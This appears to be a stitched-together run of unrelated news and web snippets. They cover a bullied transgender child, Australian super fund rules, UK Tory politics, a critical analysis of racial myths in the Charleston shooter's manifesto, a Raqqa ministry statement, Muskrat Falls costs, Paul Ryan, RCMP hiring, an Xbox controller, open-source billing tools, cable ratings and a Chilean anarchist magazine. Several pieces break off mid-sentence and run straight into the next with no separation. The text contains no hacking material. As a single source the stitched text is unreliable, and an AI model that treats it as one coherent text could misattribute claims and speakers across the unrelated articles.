But outside of the classroom by the second day, Faith says, young kids tried to pull down Ziya's pants "to see if he was really a boy." Some students wouldn't let him use the boys' restroom. Students patted him on the bottom and called him "cutie." They mocked his lunch box.
Ziya began acting out at home with behavior that was out of character, Faith recalls. After five days, he broke down and sobbed for hours. He finally admitted what happened at school.
Faith doesn't fault the teachers, whom she thinks were probably overwhelmed with other students. The parents pulled Ziya from class and began homeschooling. But the psychological wounds had already been inflicted. It took months for him to rebound from the bullying and sadness.
Faith and Eli want the same thing that most parents do: to see their child happy. For now, homeschooling is going well. Faith would love to see Ziya have more friends and opportunities to socialize with other children.
While in the past some metro Atlanta families could only seek answers through counselors and message boards, new resources are becoming available.
Faith and Eli hope to meet other families to "share what works and what doesn't with our kids" with similar challenges at a Transgender Health and Education Alliance Family Symposium May 8-9 in Atlanta. The parents also want to enroll Ziya in Pride School Atlanta, a private learning environment for students and faculty who identify as gay, lesbian, bisexual, transgender, gender-fluid, intersex, or who just support others who do. The school, under the direction of Zsilavetz, hopes to open in the fall with at least 15 to 20 students.
"These children need a safe place to be themselves while they learn, without fear of judgment," Faith says.The strategy: To work out how the new rules for self-managed super funds affect me.
What new rules? Regulations came into effect last week (August 7) adopting some of the changes to self-managed funds (SMSFs) recommended in the Cooper review. These regulations are aimed at improving the governance of SMSFs, particularly how they manage and monitor their investments.
So what do I have to do? The head of technical services at SuperIQ, Kate Anderson, says there are four key changes. First, trustees will have to consider whether the fund should hold insurance for one or all of its members.
That isn't too onerous, as many people are already insured through their super fund (it is more tax-effective than buying the insurance yourself) and the regulations require it to be considered only - they don't make buying insurance compulsory. Anderson says funds will need to document their policy on insurance as part of their investment strategy and review it regularly.Conservative MPs are getting cross and that is never a pretty sight. The autumn political season has opened to Tories barking their discontents. They gnash that "this government isn't doing anything for our people", they wail "you wouldn't know that most of the cabinet is supposed to be Conservative", and they clamour "David Cameron must show us he is a proper Tory".
These generalised complaints are accompanied by a set of specific grievances. For a body on the right of the party, the government is letting them down by being too soft on immigration and failing to seize on the summer riots to get much tougher on law'n'order. For others, the greatest disappointment is the absence of rapid tax-cutting and a bonfire of business regulation. There are even some rightwing Tories who think that the main thing wrong with government economic policy is that the spending cuts are not severe enough. Probably the largest cohort of restive Conservatives are those who yearn to exploit the crises in the eurozone to declare war on Brussels.
They can't contain their frustration that their cabinet generals seem shy of battle. A new Tory backbench group, which has been created to campaign for Britain to rewrite its relationship with the European Union, will meet for the first time tomorrow. William Hague says he and David Cameron are relaxed about these backbench agitators. I'm not sure I would be entirely sanguine were I at the top of the Conservative party. Whenever Europe has aroused Tory passions over the past two decades, it has proved to be incendiary, factionalising and self-destructive.
When they are looking for someone to blame for what they see as the timidity of the coalition, the obvious place for Tory MPs to start is with Nick Clegg. To many critics of the left, the Lib Dem leader was a dupe when he jumped into bed with them last year. But seen from a certain Conservative perspective, it is he who has made a hostage of the Tory party. They would have a truly, boldly, radically Conservative government – or so they think – were it not for those pesky, meddling Lib Dems forever demanding concessions and compromises. These Tories have persuaded themselves – though they don't convince me – that Mr Cameron would be mobilising for conflict over the European treaties were it not for the presence in government of those Europe-loving, fifth columnist Lib Dems led by a half-Dutch, part-Russian former MEP.
It's not just Europe that brings foam to their mouths. On issue after issue, some Tory MPs can be heard to complain, the yellow tail of the coalition is wagging the blue dog. This boiled to the surface in the Commons when two Tory MPs used the platform of prime minister's questions to protest that Mr Clegg had too much sway. Complaining of Lib Dem influence over "our free school policy, health, many issues including immigration and abortion", the ineffable Nadine Dorries demanded of David Cameron that "it is about time he told the deputy prime minister who is the boss". The prime minister laughed her off with a bit of sexual innuendo about Ms Dorries being "extremely frustrated" and sat back down without offering an answer. Then Mr Cameron squeezed Mr Clegg on the arm as if to console the Lib Dem leader.
Mr Clegg did not need any comforting. Far from hurting him, Ms Dorries had inadvertently paid a very welcome compliment to the Lib Dem leader. Since the inception of the coalition, he has been cruelly caricatured by the cartoonists as the trodden-upon servant or the naive fall-guy of the prime minister. Here was a Conservative MP suggesting that, to the contrary, Mr Clegg is a cunning manipulator who has David Cameron wrapped around his little Lib Dem finger. If he has to choose between being depicted as |
general.
Next Up: Atraxa Deck Tech, Commander 2016 Lore!
My brain is buzzing with Atraxa deck builds and options. I can't wait to share my ideas with you all!
There's also another idea I've been kicking around: a Vorthos article explaining all the lore in Commander 2016. If you guys like the sound of that, please let me know! As always, you can reach me through the comments section below or tweet me @BudgetCommander. Thanks for reading!“You rape our women and you're taking over our country. And you have to go.” With those words, witnesses report, Dylann Storm Roof opened fire on the congregants gathered for a Bible study at the historic Emanuel AME church in Charleston, South Carolina, Wednesday night. Nine people died, all African-American. Roof, 21, is white.
That Roof’s alleged crimes stem from deep reserves of hate is clear enough. But, as a recently unearthed manifesto likely written by Roof reveals, they draw on a set of racial myths that have proved remarkably persistent in American culture.
Roof’s alleged writings repeat centuries-old narratives, such as African-American intellectual inferiority and white victimhood, that continue to manifest in venues ranging from fringe hate groups to mainstream media.
Though his ramblings could be written off as “insane” or “demented” -- and while some mainstream news outlets have appeared perplexed at Roof’s motives -- research shows the misconceptions Roof cited as justification for racist mass murder are deeply ingrained in the popular imagination.
'I Was In Disbelief'
The manifesto identifies a moment of awakening: the killing of Trayvon Martin, 17, an African-American whose death at the hands of self-appointed neighborhood watch George Zimmerman sparked national outrage.
“[T]his prompted me to type in the words ‘black on White crime’ into Google, and I have never been the same since that day.... How could the news be blowing up the Trayvon Martin case while hundreds of these black on White murders got ignored?”
Indeed, search results for “black-on-white crime” reveal numerous sites, many of which obsess over lurid anecdotes of grisly interracial crimes.
“The first website I came to was the Council of Conservative Citizens,” Roof allegedly writes, referring to a neoconfederate group founded in 1985. “There were pages upon pages of these brutal black on White murders. I was in disbelief.”
Statistics, however, belie the perception white people are particularly at risk of black crime. According to the most recent FBI crime data, African-American offenders were identified in 13.6 percent of homicides where the victim was white. African-Americans make up 13 to 15 percent of the overall population, depending on how mixed-race individuals identify.
The myth’s endurance, however, isn’t explained only by the power of hate groups -- which have exploded in number since 2009. A diverse array of research has found mainstream media reports tend to overemphasize the prevalence of black-on-white crime, creating a jaundiced view of black criminality.
As a report from the Sentencing Project outlined in 2014, local media had a tendency “to exaggerate rates of black offending and white victimization and to depict black suspects in a less favorable light than whites.”
Capitalizing on the perceived novelty of black-on-white crime, news outlets have been found to air more images of black suspects -- and of white victims -- than really occur. One study found 37 percent of perpetrators shown on Los Angeles television stations were black, while only 21 percent of those arrested were black. Another study found nationwide, local news stations overreported the prevalence of black-on-white homicide by a factor of four.
Though these patterns are hard to see on a case-by-case basis, their effects are clear. In surveys, white Americans steeply exaggerate the risks of minority perpetrators. A 1994 study found whites were twice as likely to believe themselves at risk of being harmed by minorities even though they are three times as likely to be victimized by other whites.
'Our Women'
Though Roof’s purported manifesto contains no mention of rape, his chilling words reported on the night of the mass murder reveal a preoccupation with sexual violence against white women.
White perceptions of black men as sexual predators have a long, sordid history. Of the thousands of black men lynched in the late 19th and early 20th centuries, many stood accused of making passes at white women. In 1916, for instance, Jeff Brown of Cedarbluff, Mississippi, brushed against a white woman while racing to make a train. He was dragged from the moving locomotive, beaten and hanged. Photos of his lynching sold for a nickel.
Fascination with black-on-white rape has been kept alive by media representations, from Cecil B. DeMille’s 1915 film Birth of a Nation -- which depicted a white woman escaping the clutches of an actor in black-face by throwing herself off a cliff -- to the 1989 Central Park jogger case, in which local news rushed to portray five African-American juveniles as monstrous perpetrators in the rape of a jogger in Central Park. They spent a combined four decades in prison before it was determined they were innocent.
In reality, Americans are far more likely to be raped by members of their own racial group. According to the Department of Justice, 88 percent of all rape victims were attacked by members of their own race. A full two-thirds of rapes occur between people who know each other well.
In fact, on the aggregate, African-American women are more likely to be targeted than white women.
Inside And Outside
In Roof’s alleged writings, the author makes claims about intelligence he finds to be self-evident: “Anyone who thinks that White and black people look as different as we do on the outside, but are somehow magically the same on the inside, is delusional. How could our faces, skin, hair, and body structure all be different, but our brains be exactly the same?”
These biases, too, have a long history, from the creation of racial categories through the eugenicist foundation of intelligence testing to bestselling books in the modern era.
The book "The Bell Curve," for instance, set off an explosive public debate in the 1990s, arguing genetic differences in intelligence existed between races, as evidenced by IQ test results. Even today, co-author Charles Murray remains a fixture in mainstream intellectual circles.
The overwhelming majority of scientists in the field dispute the theory of racial differences in intelligence. Two of the major difficulties finding any correlation whatsoever between race and intelligence are the facts there is no biologically sound definition of race and no error-free way of measuring intelligence.
As evolutionary biologist Richard Sternberg wrote in 2005, “Race is a social construction, not a biological construct, and studies currently indicating alleged genetic bases of racial differences in intelligence fail to make their point even for these social-defined groups.”
The differences that do exist between African-Americans and whites on intelligence tests can be largely explained by socioeconomic factors. Being raised in a well-off family raises IQ scores by 12 to 16 points, a French study found. While children of different parents might have differing innate abilities, the impact of social and environmental factors far outstrips these slight variations.
'A Lot Of Racist Jokes'
A fuller picture of Roof’s thinking and motives will undoubtedly emerge in the months and years to come. But a growing number of reports show that while Roof expressed views that the vast majority of Americans would find repugnant, they didn’t necessarily raise alarms among those who knew him.
As one friend told the Daily Beast: “He made a lot of racist jokes, but you don’t really take them seriously like that. You don’t really think of it like that.”
As Charleston comes to grips with the tragic deaths of nine community members, Roof’s convictions will be taken increasingly seriously. Faulty and biased as they may be, they reflect beliefs as persistent and visible as the Confederate flag that still flies above the Charleston courthouse.Here are some photos of the car, as it was before I started work on it:The interior props have been removed, but will be supplied if the purchaser wants them. I don't mind keeping them if they don't.Things that have been done to it:- Interior removed- Body/Frame separated to replace a damaged fuel line and repair rusty frame bits- Brakes completely replaced with rebuilt brakes on all 4 wheels- New fuel injectors- Mouse carcasses and nests removed! Sorry, I threw them away.......- Lots of other stuff I don't really remember....."Ran when parked", but the fuel tank will need to be cleaned out and the radiator reinstalled before it runs again. It overheated and the cooling fans never worked quite right. Probably needs a head gasket. The exhaust is in pretty good shape.I'll take some photos of it as it is today next time I'm up there. It'll be a few weeks though - I'm currently planning a big trip and won't have time to visit her.Daesh (banned in numerous countries) militants continue to cross the Euphrates River in Syria from their stronghold of Raqqa despite being encircled by Kurdish and US-led coalition forces, the Russian Defense Ministry said Thursday.
MOSCOW (Sputnik) — The ministry said in a statement the Syrian Democratic Forces (SDF), together with the US, UK and French special forces, have "virtually blocked" Raqqa from the north.
"At the same time, the SDF stopped its offensive, resulting in ruptures in the IS' [Daesh] ring of encirclement. Using this, the terrorists cross the Euphrates and seek to transfer their formations in the southern direction of Syria," it said.
The Russian troop command in Syria will do its utmost to prevent Daesh from breaking through further south from Raqqa, the ministry added.
Internally displaced people who fled Raqqa city ride a tricycle with their belongings as they leave a camp in Ain Issa, Raqqa Governorate, Syria May 4, 2017 © REUTERS / Rodi Said
Syrian Democratic Forces (SDF) fighters relocate people that fled from Raqqa city on the bank of the Euphrates river, west of Raqqa city, Syria April 8, 2017 © REUTERS / Rodi Said
A member of Ahrar al-Sham fires against a position of the Committees for the Protection of the Kurdish People (YPG) during clashes in the countryside of the northern Syrian Raqqa province on August 25, 2013. © AFP 2018 / Alice Martins
Islamic State billboards are seen along a street in Raqqa, eastern Syria. The billboard (R) reads: "We will win despite the global coalition" (File) © REUTERS / Nour Fourat
Syrian Democratic Forces (SDF) fighter walks near vehicles carrying people fleeing clashes in Tweila'a village and Haydarat area, north of Raqqa city, Syria November 8, 2016 © REUTERS / Rodi Said 1 / 5 © REUTERS / Rodi Said Internally displaced people who fled Raqqa city ride a tricycle with their belongings as they leave a camp in Ain Issa, Raqqa Governorate, Syria May 4, 2017
"The command of the Russian grouping of forces in the Syrian Arab Republic will continue to take all necessary measures to prevent the breakthrough of the IS [Daesh] units from Raqqa to the provinces of Homs and Hama," it said in a statement.
According to the Defense Ministry, Russia’s Aerospace Forces thwarted two attempts by Daesh to break through to Palmyra from Raqqa in the past week.
"The first convoy of terrorists from Raqqa heading to Palmyra was destroyed by the Russian Aerospace Forces on May 25. IS militants made another attempt to break through to the Palmyra area on the night of May 29 to 30. Three motorcades left Raqqa under the cover of darkness and took several routes southward," the ministry said in a statement.
They also destroyed more than 80 Daesh jihadists, 36 vehicles, eight fuel trucks and 17 pickup trucks that tried to flee the occupied city of Raqqa on Tuesday.
"The Russian Aerospace Forces hit the detected targets. The IS lost more than 80 terrorists, 36 cars, eight fuel trucks and 17 pickup trucks equipped with mortars and large-caliber machine guns," the ministry said in a statement.Pat Toomey is one of the smarter politicians in Washington. It's how he got elected to the Senate as a Republican in Democratic-leaning Pennsylvania.
So, when Toomey makes a move you can assume it was well thought out and smartly calculated. That's why this clip -- in which Toomey says he voted for Texas Sen. Ted Cruz in today's Keystone State primary -- is important to take note of.
Toomey has been totally silent on the Republican presidential primary race since his preferred candidate, Florida Sen. Marco Rubio, dropped from the race in March. The furthest Toomey has gone since then is to say he plans on supporting the eventual nominee. So, why today? And why Cruz?
The answer to the first question is relatively easy. Today is the day when Toomey had to actively choose between Trump, Cruz and John Kasich in his home state primary. But, he didn't have to share that vote -- particularly with a Democratic tracker who, in all likelihood, follows him everywhere and who he ignores 99.9 percent of the time.
Toomey wanted it known that he had voted for Cruz. He wanted people like me -- and the rest of the political world -- to write stories about his vote for Cruz. Or, more accurately, he wanted to make sure everyone in Pennsylvania knew he didn't vote for Trump.
In short, this was no accident. (There are very few accidents or coincidences in politics.) All of which sheds some light on the question of why Toomey voted for Cruz. Toomey sits in a state that has voted for the Democratic candidate for president in every election between 1992 and 2012. He won his seat, barely, in the 2010 election -- a historically good year to be running as a Republican for anything anywhere.
Toomey knows that he is going to have it very tough this fall and has to run a near-perfect race to win a second term. He is undoubtedly chagrined at the fact that the two options for his party's presidential nominee are Trump and Cruz -- neither of which help (or come even close to helping) Toomey at the top of the ticket in Pennsylvania. But, politics is about dealing with what comes your way -- whether you want it to or not.
Toomey's decision to go public with his Cruz support is rightly understood as a lesser of two evils choice by Toomey. He has clearly decided that while Cruz is probably too conservative by several ticks for Pennsylvania voters, a vote for the Texas Senator is, in the broadest terms, defensible in a general election. And, by contrast, that Toomey believes a vote for Trump would have be indefensible -- particularly to suburban Philadelphia women who lean Republican on fiscal issues but almost certainly wouldn't vote for a GOP Senate candidate who was a public supporter of Donald Trump.
Toomey's calculations get a lot more complicated if Trump winds up winning the GOP nomination. Yes, Toomey has said he will back the nominee. But, that's easier said than done when it comes to the drag Trump might be on him downballot in Pennsylvania. Toomey will have to answer questions daily about whether he supports Trump and Trump's policies up until the moment when he a) says, again, that he does or b) says he is planning to write in [Pennsylvania Republican political luminary] for president.
Toomey is a case study in how difficult the Cruz vs Trump dynamic is for endangered Senate Republicans. It's a series of bad choices. And selecting the least bad option is rarely something politicians relish.June 24, 2016
by Sue Bailey, The Canadian Press
ST. JOHN’S, N.L.—Estimated costs for the troubled Muskrat Falls hydro megaproject in Labrador have now hit $11.4 billion including financing.
That’s up from an original estimate of $7.4 billion—including the cost of borrowing—when the development was sanctioned in 2012.
First power from the dam and hydro station under construction on the lower Churchill River was expected next year.
But Nalcor Energy CEO Stan Marshall now says first power is delayed until the fall of 2019.
“In my opinion the Muskrat Falls project was not the right choice,” Marshall told a news conference June 24.
Still, he said he expects the project will “finish strong.”
Full power from Muskrat Falls to the island of Newfoundland and on to Nova Scotia through subsea cables is expected in mid-2020.
Marshall says original cost estimates were optimistic or overly aggressive.
He also says some contractors lacked experience working in harsh environments and that early execution by some “was poor.”
About $6.7 billion has been spent or is already committed to the project.
Marshall says most problems stem from construction of the power plant. He says Nalcor is in “a major dispute” with construction contractor Astaldi Canada. He said it’s the major uncertainty for Muskrat Falls but that talks continue.
Marshall says electricity rates for domestic customers are now expected to rise to 21.4 cents per kilowatt hour in 2021, before tax. That’s up 6.3 cents from forecasts when the project was sanctioned in 2012.
Sales of available export power would bring those estimates down by less than a cent, Marshall predicted.
Consumers in the province paid about 12 cents per kilowatt hour last year before tax. That compares to almost 15 cents in Ontario and 16 cents in Nova Scotia.
Marshall says forecasted energy needs have decreased, but the province still needs a new source of power to replace the aging Holyrood plant and to meet future demand.
He predicts by the time Muskrat Falls comes onstream, consumers in the province will be paying among the highest rates in the country.
Still, Marshall—who took over just two months ago as CEO of the project, which was sanctioned by the former PC government—says it’s too late to turn back.
“It was a gamble,” Marshall said of energy price assumptions made when the project was approved.
“And it has gone against us.”
The province is obligated to provide power to Nova Scotia utility Emera for 35 years. Nixing Muskrat Falls and myriad contracts would be far more expensive than forging ahead, he said.
“The project was too big for our needs,” says Marshall. “We speculated, and we lost.”Janna Ryan, wife of newly announced Republican vice presidential candidate Rep. Paul Ryan, greets crowd members after her husband spoke Saturday in Norfolk, Va. Credit: Mary Altaffer
By of the
Serving in Congress since 1999, Paul Ryan is a conservative Republican whose ideology was shaped early on by thinkers who extolled individualism and free markets, warned of an overweening state and promoted tax-cutting "supply-side" economics.
His intellectual heroes include the economists Milton Friedman, Ludwig von Mises and Friedrich Hayek, author of "The Road to Serfdom," Ayn Rand, author of "Atlas Shrugged" and "The Fountainhead," and former New York congressman and vice presidential candidate Jack Kemp, for whom Ryan once worked.
Of all these, Ryan's interest in Rand has probably gotten the most attention.
"Paul can still quote every verse out of Ayn Rand," his brother Tobin said in a 2009 interview.
"I grew up on Ayn Rand," Ryan said at a Washington, D.C., gathering seven years ago honoring Rand. "The reason I got involved in public service, by and large, if I had to credit one thinker, one person, it would be Ayn Rand."
Ryan credited Rand with laying out the moral case for capitalism and the pitfalls of "statism and collectivism." In the same 2005 talk, Ryan criticized Social Security as a "collectivist system," and talked about the need to "personalize" entitlement programs, and convert them from defined benefits to defined contributions, to halt the growth of government, get workers to think more like owners and capitalists, and break the back of "this collectivist philosophy that really pervades 90 percent of the thinking around here in this town."
But Ryan disputes the characterization that he's a follower of Ayn Rand's philosophy, known as objectivism, saying he is neither a strict libertarian nor an atheist in the Rand tradition.
"Obviously, I'm not an 'objectivist,' " Ryan, a practicing Catholic, said in an interview three years ago.
While Ryan is generally viewed as both a social and economic conservative, economic issues have always been his main focus. He is not an economist, but studied economics as an undergraduate at Miami University of Ohio. He went to work in Washington, D.C., for former GOP Sen. Bob Kasten of Wisconsin, then for both Kemp and Bill Bennett at a think tank called "Empower America."
In each case, he was schooled by ardent advocates of "supply-side" economics, the doctrine that lower tax rates on income and capital are key to economic growth. Ryan calls himself a second-generation "supply-sider," who in addition to tax cuts and deregulation is also preoccupied with reducing deficits and debt. Ryan has advocated both far-reaching spending cuts and a flatter and less progressive tax system.
"I do not see the tax code as tool of income redistribution. So I do not try to make it one."
"I do agree with the notion of a progressive (tax) system... albeit not as steeply (progressive) as the one we have today," said Ryan in a 2010 interview, arguing that a less progressive tax system does more to encourage growth.
He cites the late Kemp as a "huge influence" not just in tax policy, but in his "brand of inclusive conservatism, his 'pro-growth,' happy warrior style. That was infectious to me."
Traditionally, running mates are expected to be warriors on the campaign trail, often called on to lead the attack on the other ticket. Ryan is known for grand, sweeping critiques of liberal and progressive policies, but also takes pride in not personalizing political differences.
"I'm not one of these people who hates the other side. I don't hate Democrats or hate liberals. I just disagree with them," says Ryan "I find some of my favorite people in this world are the people who feel passionately about their beliefs and act on them regardless of whether they are beliefs I share or not."An association that represents some of Canada’s Mounties says members have “grave reservations” about the RCMP’s recent decision to ease entrance requirements, including allowing permanent residents to apply.
The Mounted Police Professional Association of Canada (MPPAC) said Sunday management has caved in to political correctness and the “knee jerk” changes amount to lowering standards.
“Essentially we face operational security issues as well as serious repercussions in service delivery if we hire people to meet political vs. operational criteria,” the association said in a statement through spokesman Rob Creasser.
On the issue of allowing permanent residents to apply to become Mounties, the association asked, “As a Canadian icon, shouldn’t the national police be Canadian?”
Internal records obtained by the National Post through access-to-information legislation show when the force announced the changes in May, officials anticipated questions over whether hiring non-citizens could affect the RCMP’s image and “what the RCMP represents.”
The RCMP’s proposed response says fewer young people are interested in policing careers and the force is struggling to attract “not only applicants, but also diverse applicants.”
Allowing permanent residents to apply would improve diversity and help the force deliver “culturally sensitive policing.”
The documents note the force’s senior executive committee has set recruitment targets of 30 per cent women, 20 per cent visible minorities and 10 per cent aboriginal.
Still, “RCMP recruiting standards remain very high and we continue to seek to attract the most qualified applicants from all backgrounds,” according to the documents.
The RCMP has a proud tradition as a national symbol of Canada, and that will continue
“The RCMP has a proud tradition as a national symbol of Canada, and that will continue. This change will also directly contribute to the RCMP’s commitment to ensure a workforce that is representative of Canada.”
Despite the new measures, the RCMP will still give priority to applicants who are Canadians citizens.
Permanent residents must have lived in Canada for at least 10 years, but if hired, they will be not be pressured to become citizens as that is a “personal choice.”
The force is also exempting more people from having to take the entrance exam, a test designed to gauge aptitude for police work.
University graduates have been exempt since June 2015. Now, they are being joined by people with two-year college diplomas.
In a further streamlining of initial screening, applicants need not prove they are physically fit. All physical testing now takes place during the 26-week program at the RCMP’s cadet training academy.
These changes were adopted in response to complaints the application process was “too long, inflexible and outdated,” the RCMP says.
Sgt. Brian Sauvé, co-chairman of the National Police Federation (NPF), another association representing some Mounties, said Sunday while the federation does not have a problem with opening applications to permanent residents — this will help the force represent Canada’s “blend of great people” — it has serious concerns with the other changes.
All applicants should undergo aptitude and fitness evaluations before joining the training academy, he said. Without them, the force runs the risk of more people getting injured during training, as well as higher attrition rates later as recruits realize policing is not for them.
The NPF and MPPAC, which represent a few thousand members across Canada, are behind a heated union drive and both are vying to become the bargaining agent for Mounties.
Bill C-7, federal legislation that would create a new labour relations framework for the RCMP, was rewritten by the Senate before the summer recess and sent back to the House of Commons. Discussions will resume in the fall.After welcoming her first child, son James Knight last October, actress Jaime King has opened up about the struggles she faced during her painful pregnancy and childbirth.
“For all the struggling women & moms out there that think they are alone – This is the truth about conceiving my son and struggles after. 8 yrs of pain and undiagnosed PCOS & Endometriosis,” she posted on Instagram on Friday (the post has since been taken down).
“9 doctors until Dr. Randy Harris diagnosed me & saved my life from a severe ectopic, 5 miscarriages, 5 rounds of IVF, 26 IUI’s, most with no outcome, 4½ years of trying to conceive, 26 hours of brutal labor, early delivery b/c of sudden preeclampsia, tearing and tearing after the stitches were in once I was home, milk supply issues, painful mastitis, uncontrollable crying while breast feeding, worked until the day before I [gave] birth and went back after 6 weeks after because I was afraid of letting others down.”
King, 35, told ABC News in May that it had taken her a long time to get pregnant, but the Hart of Dixie actress felt compelled to share more details of her story to support women who are dealing with the same struggles.
“#youarenotalone,” she wrote in her post along with two more hashtags that read “#ihavetobebravetosupportothers” and “#realtalkthatterrifiesus”Microsoft's new $150 Xbox One Elite controller offers users a number of attachments and customization options out of the box. However, the publisher tells us it intends to see the peripheral's usefulness grow over the coming months.
In a conversation with senior product marketing manager Navin Kumar about the Elite controller, he told us a bit more about its partnership with Scuf, a maker of customized controllers for a variety of platforms, and what we can expect for the device down the line. Microsoft is allowing Scuf and others to create attachments for its $150 gamepad.
While the high-end controller has a number of customization options in the package, including different thumb sticks and D-pads, Microsoft is opening the door to other companies. "This holiday, there will be Halo 5: Guardians component kits from Power A that will have unique thumbsticks, paddles, and D-pads," Kumar says. "It'll be available for about $29.99 MSRP. We are also working with Scuf in the near future to have their own add-ons for the Elite controller."
Shortly before the Elite controller launch, Microsoft and Scuf announced that a deal had been struck to license the latter's patents and technology. The statement also named Scuf the "exclusive third-party controller partner for professional gaming."
In addition to the hardware customization, owners can also create button-mapping profiles and download presets via the console-based app. Right now, only first-party games (Forza Motorsport 6, Halo 5: Guardians, Gears of War Ultimate Edition, and Sunset Overdrive) are featured, but that will be expanding in the coming months.
"We'll be doing this not only with first-party games, but we're looking forward to doing this with additional games beyond that," Kumar says. For more on the Xbox One Elite controller, check out our impressions and a video walkthrough of the device's features.
Our Take
While the price tag on the Elite Controller is hefty compared to what many users are accustomed to, it's a well-built and feature-rich peripheral. It's not for everyone, but for those that game extensively on Xbox One and/or PC, the configuration options make it an investment to consider.Integration between components turns billing into business management -- without breaking the bank!
Collecting money from customers should be the easy part of your business, but an billing system that underperforms can make life unnecessarily difficult for CIOs.
In this edition of 5 Open Source Products to Watch, we take a look at billing systems. That’s right, there are open source applications available for invoicing and billing customers. They’re open source, Web-based and can be extended and integrated to suit specific needs.
Best of all, they don’t cost a red cent.
1. AgileBill
AgileBill was released as a commercial product in 2004 and then open sourced by its creator Tony Landis in 2008. AgileBill is a billing and invoicing application suitable for the membership/subscription type of business model, including Web hosting companies, ISPs and VoIP providers.
AgileBill features plug-ins for payment processing, provisioning, and interfacing with third-party applications and services. It has also given rise to the AgileVoice and AgileISP VoIP and ISP billing applications, respectively.
URL: http://www.agileco.com/agilebill-open-source-billing-software.htm
Licence: Open AgileBill Licence
2. Amberdms Billing System
The Amberdms Billing System (ABS) is a billing system that also provides a number of useful accounting and business management functions. ABS has apps for invoicing, service management, HR and time-keeping, and is designed for small and medium businesses as well as small ISPs and IT companies.
Third-party integration can be done via the API and commercial support is available from New Zealand company Amberdms.
ABS claims to have an “easy UI” and integration between timekeeping and invoicing features means customers can be automatically billed for hours worked.
URL: http://www.amberdms.com
Licence: AGPL
3. Freeside
Freeside is a billing, trouble ticketing and provisioning automation software tailored to online businesses, including ISPs, ITSPs, hosting and content providers.
The billing functionality includes real-time credit card and e-cheque processing using the popular payment gateways; e-mail, fax, printed and online invoicing; and flexible pricing and rating plans, like anniversary billing and usage based billing. Freeside also integrates Request Tracker, another open source project for support ticketing.
Other features include a customer self-care portal (with an API for extensibility) and reseller functionality which allows “virtualized” reseller access.
URL: http://www.freeside.biz/freeside/
Licence: AGPL
4. CitrusDB
CitrusDB is a billing system developed with PHP and MySQL that can also be used to keep track of customer information (CRM), services, products, invoices and credit cards, and support information. The goal of the project is to provide an open source customer care and billing solution that can be used in many different service industries like ISPs, consulting, and telecommunications.
Standard billing features include any billing cycle -- one-time, monthly, bi-monthly, quarterly, 6-months or yearly -- and billing is able to provide batch credit card exports, printed invoices, or emailed invoices.
CitrusDB also has an online account manager which allows customers to view their account services and recent balance and payments. It also allows them to submit support notes to their account via the online form.
URL: http://www.citrusdb.org/
Licence: GPL
5. JBilling
JBilling is a Web-based billing system developed in Java. It is cross-platform and supports multiple database systems. The project claims it can scale to “invoice millions” and can be run on a single server or a cluster of specialised nodes.
Its features include automated invoice generation and payment processing; the ability to send invoices as e-mails, PDF attachments or paper; the ability to accept partial and advance payments; bundles, packages, plans and promotions; and a business rules management system.
Professional support is also available for JBilling, which also has multiple language, currency and localisation support.
URL: http://www.jbilling.com/
Licence: AGPL
For more articles in this series, be sure to check out:
5 open source security projects to watch
5 open source network management projects to watch
5 open source virtualisation technologies to watch
5 open source CRM systems to watch
5 open source VoIP softphones to watch
5 open source office suites to watch
5 open source IP telephony projects to watch
5 open source help desk apps to watch
5 enterprise open source wiki apps to watch
5 open source project management apps to watch
5 free project management applications you must try
Join the CIO Australia group on LinkedIn. The group is open to CIOs, IT Directors, COOs, CTOs and senior IT managers.MSNBC trailed its usual challengers in the latest ratings released Tuesday, but fell even further on the list, earning a spot behind the Hallmark Channel for primetime viewership, according to Politico.
Fox News Channel ranked number one, followed by CNN for cable TV channels. MSNBC fell to fourth place in Tuesday’s rankings, behind Nickelodeon. In overall primetime rankings, MSNBC took fifth place behind ESPN and the Hallmark Channel, according to Politico.
The Hallmark Channel is perhaps best known for its self-produced B-movies and Christmas specials like, “A Bride for Christmas,” and “A Boyfriend for Christmas.”
CNN led Fox News with voters under the age of 54, although Fox trailed closely behind. Politico also reported that ratings overall are down from where they were a year ago, but noted this time last year, viewers tuned in to watch the coverage of the Paris terror attacks and the Republican primary.
Fox News’s sustained leader status was aided by The Daily Caller’s Tucker Carlson, whose new show “Tucker Carlson Tonight” settled high above “The Kelly File,” and “The Five.” Those two shows were the highest rating earners prior to Carlson’s premier.
Other news agencies like the New York Times and the Wall Street Journal experienced an astounding rise in subscriptions the week after the election, and the New Yorker obtaining at least 10,000 new subscriptions, according to the Huffington Post.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.[Chile] "Solidaridad", N°4 out now
Chilean anarchist magazine
The 4th issue of the Chilean class-struggle anarchist magazine "Solidaridad" is now available. The magazine is the product of a joint effort by the Santiago-based anarchist organizations Voz Negra, Estrategia Libertaria and the Corriente de Acción Libertaria. The cover price is 300 pesos (o.45). To contact the editorial team, write to publicacion.solidaridad at gmail dot com. [Castellano]
Cover "Solidad", No. 4
Cover "Solidad", No. 4
"Solidaridad", N°4 out now
Editorial (extract):
Content:
Editorial: The Bloody Law: the new anti-terrorism law
Labour: The Transaraucarias workers' dispute continues
Analysis: The Copper War (2nd part)
Analysis: The IIRSA (Initiative for the Integration of the Regional Infrastructure of South America): a plan to pillage Latin America
Labour: Interview with the Sindicato Autónomo Jumbo, grassroots union
Labour: Reflections on the gains made by SINTEC in Puerto Montt
Historical memory: Nueva La Habana ("New Havana"), 40 years of struggle and organization
Ecology: GMO? No, thank you
International: Murder of a young Argentine worker
Neighbourhood struggles: Interview with the Brigada Muralista José Huenante from Puerto Montt
Political prisoners: The Manuel Olate case
Political prisoners: Police violence and solidarity with the 14 August arrestees
Labour: Towards the development of a class-struggle union line (2nd part)
and much more...
